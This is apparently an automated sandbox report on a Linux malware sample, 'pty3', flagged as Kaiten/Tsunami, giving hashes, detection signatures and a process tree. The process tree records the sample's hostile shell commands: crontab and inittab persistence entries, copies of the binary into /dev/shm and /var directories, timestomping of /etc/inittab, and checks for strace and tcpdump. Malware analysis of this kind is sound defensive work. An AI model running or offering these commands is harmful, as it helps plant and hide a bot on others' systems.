Analysis
- max time kernel
31s - max time network
129s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
05/08/2026, 00:14
Behavioral task
behavioral1
Sample
pty3
Resource
ubuntu1804-amd64-20260513-en
10 signatures
150 seconds
General
- Target pty3
- Size 47KB
- Sample260805-ajg2gstemf
- SHA256 0d762c8cbba56cd827c0dc710688d7410840940b9994020b8e365b63d3ff316c
- MD5 b24c8affd984bc47b7a6c5bd11e58b16
- SHA1 cf93381bb17a8e4d82f9184efd10cf1da60986ca
- SHA512 9f31b32ca7da165a99353aee51378d2c1ba0122f47fd0ad09ebaabd1a8477815d99fdc3ff7d6bc0ed2c423be56b217f0695d8744a89ec21e99b59b35b84f1364
- SSDEEP 768:m3QPPFqEChAfmWegsbs6NBFRmU779+AMaE0ygNWthDpXDGsHBUlJvsRDEsdSvnZt:v1COips6bFRmU7Z4aE0ygNWtJNasHMOs
- TLSH T1C723F23B68B656D1D3B5D6FDE97E0AA0F9A1E00925A333415AE03CDC2139CB4055BFB2
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Detects Kaiten/Tsunami Payload 1 IoCs
resource yara_rule behavioral1/memory/1474-1-0x0000000000400000-0x000000000051add0-memory.dmp family_kaiten_v3 - Creates/modifies Cron job 1 TTPs 5 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.eZvSmi crontab File opened for modification /var/spool/cron/crontabs/tmp.WTh6ao crontab File opened for modification /var/spool/cron/crontabs/tmp.NQkZot crontab File opened for modification /var/spool/cron/crontabs/tmp.st9lly crontab File opened for modification /var/spool/cron/crontabs/tmp.i7sXrD crontab - Enumerates running processes
Discovers information about currently running processes on the system
- Indicator Removal: Timestomp 1 TTPs 10 IoCs
Adversaries may remove indicators of compromise from the host to evade detection.
pid Process 1502 sh 1503 touch 1529 sh 1530 touch 1549 sh 1590 touch 1550 touch 1569 sh 1570 touch 1589 sh -
resource yara_rule behavioral1/files/fstream-8.dat upx - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself 81u876r86gep 1474 pty3 -
description ioc Process File opened for reading /proc/80/stat pidof File opened for reading /proc/202/cmdline pidof File opened for reading /proc/473/stat pidof File opened for reading /proc/896/stat pidof File opened for reading /proc/1036/cmdline pidof File opened for reading /proc/1078/stat pidof File opened for reading /proc/1184/stat pidof File opened for reading /proc/20/stat pidof File opened for reading /proc/1132/stat pidof File opened for reading /proc/164/cmdline pidof File opened for reading /proc/338/stat pidof File opened for reading /proc/78/cmdline pidof File opened for reading /proc/1184/stat pidof File opened for reading /proc/1250/stat pidof File opened for reading /proc/454/stat pidof File opened for reading /proc/653/stat pidof File opened for reading /proc/27/stat pidof File opened for reading /proc/513/cmdline pidof File opened for reading /proc/677/stat pidof File opened for reading /proc/1040/cmdline pidof File opened for reading /proc/5/cmdline pidof File opened for reading /proc/32/stat pidof File opened for reading /proc/79/cmdline pidof File opened for reading /proc/173/cmdline pidof File opened for reading /proc/170/cmdline pidof File opened for reading /proc/459/cmdline pidof File opened for reading /proc/1470/cmdline pidof File opened for reading /proc/593/stat pidof File opened for reading /proc/645/cmdline pidof File opened for reading /proc/1369/stat pidof File opened for reading /proc/1479/cmdline pidof File opened for reading /proc/32/stat pidof File opened for reading /proc/645/cmdline pidof File opened for reading /proc/35/stat pidof File opened for reading /proc/83/stat pidof File opened for reading /proc/23/stat pidof File opened for reading /proc/488/cmdline pidof File opened for reading /proc/1010/stat pidof File opened for reading /proc/1475/stat pidof File opened for reading /proc/918/cmdline pidof File opened for reading /proc/158/cmdline pidof File opened for reading /proc/1043/cmdline pidof File opened for reading /proc/21/cmdline pidof File opened for reading /proc/889/stat pidof File opened for reading /proc/1474/cmdline pidof File opened for reading /proc/14/cmdline pidof File opened for reading /proc/20/cmdline pidof File opened for reading /proc/98/stat pidof File opened for reading /proc/1006/cmdline pidof File opened for reading /proc/1035/stat pidof File opened for reading /proc/1132/cmdline pidof File opened for reading /proc/1181/cmdline pidof File opened for reading /proc/14/cmdline pidof File opened for reading /proc/2/stat pidof File opened for reading /proc/34/stat pidof File opened for reading /proc/34/cmdline pidof File opened for reading /proc/464/cmdline pidof File opened for reading /proc/28/stat pidof File opened for reading /proc/166/cmdline pidof File opened for reading /proc/173/stat pidof File opened for reading /proc/965/cmdline pidof File opened for reading /proc/84/stat pidof File opened for reading /proc/1337/cmdline pidof File opened for reading /proc/176/stat pidof - Writes file to shm directory 1 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.
description ioc Process File opened for modification /dev/shm/pty3 cp - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.bawtz pty3
Processes
-
/tmp/pty3/tmp/pty31⤵
- Changes its process name
- Writes file to tmp directory
PID:1474 -
/bin/shsh -c "pidof -x strace > /dev/null"2⤵PID:1475
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/bin/pidofpidof -x strace3⤵
- Reads runtime system information
PID:1476
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/bin/shsh -c "pidof -x tcpdump > /dev/null"2⤵PID:1479
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/bin/pidofpidof -x tcpdump3⤵
- Reads runtime system information
PID:1481
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-
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/bin/shsh -c "cat /etc/inittab | grep -v \"/tmp/pty3\" > /etc/inittab2"2⤵PID:1485
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/bin/catcat /etc/inittab3⤵PID:1488
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/bin/grepgrep -v /tmp/pty33⤵PID:1489
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/bin/shsh -c "crontab -l | grep /tmp/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty3 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1486
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/bin/grepgrep /tmp/pty33⤵PID:1492
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/bin/grepgrep -v "no cron"3⤵PID:1493
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/usr/bin/crontabcrontab -l3⤵PID:1491
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1496
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/usr/bin/crontabcrontab -l3⤵PID:1498
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-
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/bin/shsh -c "crontab -r"2⤵PID:1487
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/usr/bin/crontabcrontab -r3⤵PID:1490
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-
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/bin/shsh -c "echo \"0:2345:respawn:/tmp/pty3\" >> /etc/inittab2"2⤵PID:1494
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1497
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/bin/catcat /etc/inittab23⤵PID:1499
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1500
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/bin/rmrm -rf /etc/inittab23⤵PID:1501
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-
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1502 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1503
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/bin/shsh -c "/bin/uname -n"2⤵PID:1509
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/bin/uname/bin/uname -n3⤵PID:1511
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/bin/shsh -c "cp -f /tmp/pty3 /dev/shm/pty3"2⤵PID:1510
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/bin/cpcp -f /tmp/pty3 /dev/shm/pty33⤵
- Writes file to shm directory
PID:1512
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-
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/bin/shsh -c "cat /etc/inittab | grep -v \"/dev/shm/pty3\" > /etc/inittab2"2⤵PID:1514
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/bin/catcat /etc/inittab3⤵PID:1516
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/bin/grepgrep -v /dev/shm/pty33⤵PID:1517
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-
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/bin/shsh -c "crontab -l | grep /dev/shm/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty3 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1515
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/usr/bin/crontabcrontab -l3⤵PID:1518
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/bin/grepgrep /dev/shm/pty33⤵PID:1519
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/bin/grepgrep -v "no cron"3⤵PID:1520
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1524
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/usr/bin/crontabcrontab -l3⤵PID:1525
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-
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/bin/shsh -c "echo \"0:2345:respawn:/dev/shm/pty3\" >> /etc/inittab2"2⤵PID:1521
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1522
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/bin/catcat /etc/inittab23⤵PID:1526
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-
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1527
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/bin/rmrm -rf /etc/inittab23⤵PID:1528
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1529 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1530
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/bin/shsh -c "cp -f /tmp/pty3 /var/tmp/pty3"2⤵PID:1531
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/bin/cpcp -f /tmp/pty3 /var/tmp/pty33⤵PID:1532
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/tmp/pty3\" > /etc/inittab2"2⤵PID:1534
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/bin/catcat /etc/inittab3⤵PID:1536
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/bin/grepgrep -v /var/tmp/pty33⤵PID:1537
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-
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/bin/shsh -c "crontab -l | grep /var/tmp/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty3 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1535
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/usr/bin/crontabcrontab -l3⤵PID:1538
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/bin/grepgrep /var/tmp/pty33⤵PID:1539
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/bin/grepgrep -v "no cron"3⤵PID:1540
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1543
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/usr/bin/crontabcrontab -l3⤵PID:1545
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/bin/shsh -c "echo \"0:2345:respawn:/var/tmp/pty3\" >> /etc/inittab2"2⤵PID:1541
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1544
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/bin/catcat /etc/inittab23⤵PID:1546
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-
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1547
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/bin/rmrm -rf /etc/inittab23⤵PID:1548
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1549 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1550
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/bin/shsh -c "cp -f /tmp/pty3 /var/lock/pty3"2⤵PID:1551
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/bin/cpcp -f /tmp/pty3 /var/lock/pty33⤵PID:1552
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/lock/pty3\" > /etc/inittab2"2⤵PID:1554
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/bin/catcat /etc/inittab3⤵PID:1556
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/bin/grepgrep -v /var/lock/pty33⤵PID:1557
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/bin/shsh -c "crontab -l | grep /var/lock/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty3 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1555
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/usr/bin/crontabcrontab -l3⤵PID:1558
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/bin/grepgrep -v "no cron"3⤵PID:1560
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/bin/grepgrep /var/lock/pty33⤵PID:1559
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1564
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/usr/bin/crontabcrontab -l3⤵PID:1566
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/bin/shsh -c "echo \"0:2345:respawn:/var/lock/pty3\" >> /etc/inittab2"2⤵PID:1561
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1562
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/bin/catcat /etc/inittab23⤵PID:1565
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1567
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/bin/rmrm -rf /etc/inittab23⤵PID:1568
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1569 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1570
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/bin/shsh -c "cp -f /tmp/pty3 /var/run/pty3"2⤵PID:1571
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/bin/cpcp -f /tmp/pty3 /var/run/pty33⤵PID:1572
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/run/pty3\" > /etc/inittab2"2⤵PID:1574
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/bin/grepgrep -v /var/run/pty33⤵PID:1577
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/bin/catcat /etc/inittab3⤵PID:1576
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/bin/shsh -c "crontab -l | grep /var/run/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty3 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1575
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/bin/grepgrep -v "no cron"3⤵PID:1580
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/usr/bin/crontabcrontab -l3⤵PID:1578
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/bin/grepgrep /var/run/pty33⤵PID:1579
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1584
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/usr/bin/crontabcrontab -l3⤵PID:1586
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/bin/shsh -c "echo \"0:2345:respawn:/var/run/pty3\" >> /etc/inittab2"2⤵PID:1581
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1582
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/bin/catcat /etc/inittab23⤵PID:1585
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1587
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/bin/rmrm -rf /etc/inittab23⤵PID:1588
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1589 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1590
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /dev/shm/pty3
- Size 47KB
- SHA256 0d762c8cbba56cd827c0dc710688d7410840940b9994020b8e365b63d3ff316c
- MD5 b24c8affd984bc47b7a6c5bd11e58b16
- SHA1 cf93381bb17a8e4d82f9184efd10cf1da60986ca
- SHA512 9f31b32ca7da165a99353aee51378d2c1ba0122f47fd0ad09ebaabd1a8477815d99fdc3ff7d6bc0ed2c423be56b217f0695d8744a89ec21e99b59b35b84f1364
- SSDEEP 768:m3QPPFqEChAfmWegsbs6NBFRmU779+AMaE0ygNWthDpXDGsHBUlJvsRDEsdSvnZt:v1COips6bFRmU7Z4aE0ygNWtJNasHMOs
- TLSH T1C723F23B68B656D1D3B5D6FDE97E0AA0F9A1E00925A333415AE03CDC2139CB4055BFB2
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /etc/inittab
- Size 83B
- SHA256 0a4eb5870807ef4406d093845baf96e7f8cc59effda08f32a4d73d489264d11a
- MD5 6665b7449ec290b0dd8d4d18c402d000
- SHA1 35f738f53b07e9a2a67ffc577888d42a180a48f0
- SHA512 ac4ad3cb5a7643a0c6f3efa942b31fe6d8f1527550d3e4992d1392f833c888fd3965ea71301e790943143ebaf7870ac623232253c85bb99b3e10c6163cd03a9f
- TLSH T104A00103F0712DAC91F0A1AA1A14018A82439700D6874B18C6433E72D208F0BBD75026
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab
- Size 113B
- SHA256 247ae0a8c28f9e39397c45a9e586b8b2c371878cf8814f9cf41c76aa05939552
- MD5 582c739181f12796f80db1f6ea7f916a
- SHA1 7c645a1c9a0de591d0b6a5b6682aa0d7dac9786f
- SHA512 8d6c2678e3eeb34094507622578f4acd36952a18374244a109c899a30ddbc1193943941fd697a6739994326fe700d43b031b24d8114e80c7cf5698b82d26c972
- TLSH T1A6B00207F4711DBC91F4A5AA1E54019A82435700D5474B18C5477D72D208F0B7D75166
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 54B
- SHA256 e5018fad1758921486984b6c0d39050ec65f06908d99387dc15363ca5557c581
- MD5 ffcc9669bca82a891cd1913d74957256
- SHA1 fc608c695927cfc3b8bd3d5e6fc7a28bdc04942d
- SHA512 4510b7b1eb8727ae6ba851908ac4fce20febb42c095cbf5b29c5acef7081fe0afa21a855eebb88d40668b330c69086dc1f07ead708b23fe0747215c3677beb19
- TLSH T1C3900203F0501D1C91B0A0990A00018582035700D5870B1881432D72D208F0B7D74002
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 142B
- SHA256 bf7a744dcb866fe6c59f07c77d2b579c84b057f79321028b6b45320e4f6a2eed
- MD5 5ff9d0108fcfd3fe6d507a5c71471ff7
- SHA1 dc713d40f4f57f8c428c4e69d8773ce4baa39299
- SHA512 ffca8f8bac306f7910a8d62ab68083ae78206bdbb7efcd4aaeb5bbf7a0bb56841fa70e359daf3954912c649779e409284c40e5ad3c7e562fe04c359c038bb834
- TLSH T151C04803F0322CBC84F0A2EA0E28008A82834300D1438B08C9073D72C208F0B7C7002A
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 25B
- SHA256 bf305607b10a91ee18ceef3ca7843f016eba8e25cfaa8c4bb88ae79c2c06f561
- MD5 d2bfd916c7f8e566ced31a47803f8b64
- SHA1 03a323e7ff70c521402bca605ed8d600ebd02320
- SHA512 2ddb3235d48a0c3111f8e37faa45e2e908c9876789e429fd252fd81fad5242f2bb0c1ab1c32aac0036b9c7608d8f0431812319d6102afd60b172a343e439985b
- MD5 SHA1 SHA512
- Path /var/spool/cron/crontabs/tmp.NQkZot
- Size 300B
- SHA256 3430feb38662c3c3aaae3670287a70dc4e9223d6d50a6c7d1be1a637680128dd
- MD5 0351ad3773a3e7e6492343d7bc626025
- SHA1 9c1a900158c1d07d7ff1c6ff354740d959a19068
- SHA512 c8cdec2a067d922a5c61dea1aad9edc798b9dd5fd325f71b59338a17b8f99edef2c05c1bbed4187df7f5cba7b980a9299412d3a3659e3070939405839f3fa161
- TLSH T1F9E0C23477716CA039484B38195B60D91B83B92E802D6E40F1DE1524554E34BF610970
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.WTh6ao
- Size 257B
- SHA256 79439af558c073c6f6de311cf44de9b2616c38367f09b31f81ef2d328213f9ee
- MD5 3acb19aca7dddb674ac13b766dd552a1
- SHA1 5a01de172e6ac6251996a89d671b65fdac6b42c3
- SHA512 7b338fc39d12fab7a4224b97d58500485f6c503b359355922ccc56239129a558592b8f05ec61952a06d2a1574f93dc9e4bb415b63978c80e5725e05772ebacd2
- TLSH T14AD097387B70AC703A084B381A5B20A92B83B83E802D6F40F0DE0024420F34FF710D70
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.eZvSmi
- Size 214B
- SHA256 7c36dedb8a4f4007a306cc83764f9359fc2045102f80ba788c3697952efc7c6e
- MD5 1d514c4579723352b0653aaf74e41a48
- SHA1 3422f46878a7840de80bec73051ab05a1fec0255
- SHA512 477c59a61f43c0a3b5e7c67a2b8ba62959e8f64749a33f991996582ec8ee04cc5016d76f7163693187170b45262339edd7aedbbbbf5a922a07cf2ea70d48ec05
- TLSH T168D022383B31AC303A080B28266B216D6A82B47E801DAE41F1ED0028021F39EAB50D71
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.i7sXrD
- Size 387B
- SHA256 c7f83215e2c140e5184a4e6a01c283f9b5edee954c9e5e645b77e21cd9387e59
- MD5 26830b2127c7c1093f384cee7fa6028f
- SHA1 a6b0f5c5092c4b88463aeb78a2b68759a7dd5dd7
- SHA512 802ecb2b3a24e9a5fed5c84833dd481431df1f1c59645b3a72c26ea3bbf470622261445018bd9ae0680607951b950d12292ce60b95e46c7cab938907932dfa38
- TLSH T1ECE01A34A6B16CE539888A7819AF70D91B83792A402D6E81F1DE6624954E34BB650AB0
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.st9lly
- Size 344B
- SHA256 567866a9c289f7dbbd6cc98c20629af77af37085cc185f76f439ca74b5648ac2
- MD5 13af2bbb5dce99a37ae222ad6a8c3011
- SHA1 af8d465ef0f2eff1e82b14e546e287bc9d971f96
- SHA512 2dc768456887d7e93a6679bf7e5349ac5fa6e1c675e9a91c44b2154760c70789d8f8b333b1cec542af9b96a5b5f8e58c7b71f86b98a832126e2b5889ae57cfc4
- TLSH T1A3E0863477715CE539888B78199F70D91B83792E402D6E40F1DE5524554E34BF650AB0
- MD5 SHA1 SHA512 TLSH